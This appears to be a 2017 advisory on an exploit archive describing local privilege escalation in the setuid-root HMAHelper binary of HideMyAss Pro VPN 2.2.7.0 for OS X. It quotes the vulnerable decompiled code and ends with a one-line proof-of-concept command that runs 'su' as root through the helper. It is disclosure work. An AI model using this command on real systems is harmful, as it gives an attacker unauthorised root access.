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HideMyAss Pro VPN Client 2.2.7.0 Privilege Escalation

HideMyAss Pro VPN Client 2.2.7.0 Privilege Escalation
Posted Apr 29, 2017
Authored by Han Sahin

HideMyAss Pro VPN client version 2.2.7.0 for OS X suffers from a helper binary (HMAHelper) local privilege escalation vulnerability.

tags | exploit, local
systems | apple, osx
MD5 | 4e9c69f81809b928fa5fb9a01e6fd6c7

HideMyAss Pro VPN Client 2.2.7.0 Privilege Escalation

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Multiple local privilege escalation vulnerabilities in HideMyAss Pro VPN
client v2.x for OS X
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Han Sahin, April 2017

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Abstract
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Multiple local privilege escalation vulnerabilities were found in the
helper binary HMAHelper that ships with HideMyAss Pro VPN for OS X. The
helper is installed setuid root and responsible for loading Kernel
Extensions (kext) and managing VPN firewall rules. These issues can be
leveraged by a local attacker to gain elevated (root) privileges.

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Tested versions
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This issue was tested on HMA Pro VPN version 2.2.7.0 for OS X

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Fix
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HMA Support has reported that this issue will not be fixed. Version
2.2.7.0. is still available for download and was earlier this year also
available in the Mac App Store. It seems that this version is still
available for older versions of OS X (OS X 10.7 - 10.11).

It should be noted the latest version of HMA Pro VPN for OS X (version
3.3.0.3) is vulnerable to a similar local privilege escalation issue
that is also not fixed at the time of writing.

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Details
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https://www.securify.nl/advisory/SFY20170402/multiple_local_privilege_escalation_vulnerabilities_in_hidemyass_pro_vpn_client_v2_x_for_os_x.html

The helper binary HMAHelper that ships with HMA Pro VPN for OS X is installed as setuid root. The helper has the ability to execute several commands as root, including running kernal extentions (kext) but also enabling and disabling security firewall rules.

Although disabling the firewall is dangerous enough, it was found that the helper is affected by multiple local privilege escalation vulnerabilities. Taking the FirewallDisable rule as an example, the code snippet below shows that there is no limit to which executable can be executed allowing a local user (or malware) to run any executable as root.

Privax.OSX.HMA.Helper.FirewallManager
private static void FirewallDisableSelected(string path, string args, string processNames)
{
using (Process process = new Process())
{
ProcessStartInfo startInfo = process.StartInfo;
startInfo.FileName = "/usr/bin/sudo";
startInfo.Arguments = string.Format("\"{0}\" \"{1}\" \"{2}\"", (object) path, (object) args, (object) processNames);
startInfo.CreateNoWindow = true;
startInfo.UseShellExecute = false;
PermissionsManager.PermissionsSet(PermissionsManager.UIDRoot, PermissionsManager.GIDWheel);
process.Start();
process.WaitForExit();
}
}


Proof of concept

/Applications/HMA\!\ Pro\ VPN.app/Contents/Resources/Applications/HMAHelper.app/Contents/MacOS/HMAHelper --sib-firewall-enable 'su' ''

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